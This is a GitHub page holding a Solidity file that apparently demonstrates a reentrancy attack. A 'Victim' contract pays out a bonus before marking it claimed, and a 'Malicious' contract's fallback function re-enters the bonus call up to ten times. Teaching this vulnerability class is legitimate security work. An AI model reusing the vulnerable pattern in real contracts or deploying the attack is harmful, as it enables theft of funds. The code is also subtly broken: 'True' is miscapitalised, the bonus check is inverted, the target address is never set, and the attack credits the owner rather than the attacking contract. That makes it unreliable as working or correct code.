-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSharing-variable-reentrancy.sol
54 lines (44 loc) · 1.29 KB
/
Sharing-variable-reentrancy.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
pragma solidity ^0.4.18;
contract Victim{
mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;
function Deposit() payable{
userBalances[msg.sender] += msg.value;
}
function WithdrawReward(address recipient) external {
uint amountToWithdraw = rewardsForA[recipient];
rewardsForA[recipient] = 0;
if (recipient.call.value(amountToWithdraw)() == false) {
throw;
}
}
function GetFirstWithdrawBonus(address recipient) external {
if (claimedBonus[recipient] == false) { // Each recipient should only be able to claim the bonus once
throw;
}
rewardsForA[recipient] += 100;
WithdrawReward(recipient); // At this point, the caller will be able to execute getFirstWithdrawalBonus again
claimedBonus[recipient] = True;
}
}
pragma solidity ^0.4.18;
import './Victim.sol';
contract Malicious{
address private _owner;
Victim vul;
uint public count = 0;
//initial attack contract with the vulnerable address
function Malicious(){
_owner=msg.sender;
}
function attack(){
vul.GetFirstWithdrawBonus(_owner);
}
function () payable{
count++;
if(count < 10){
vul.GetFirstWithdrawBonus(_owner);
}
}
}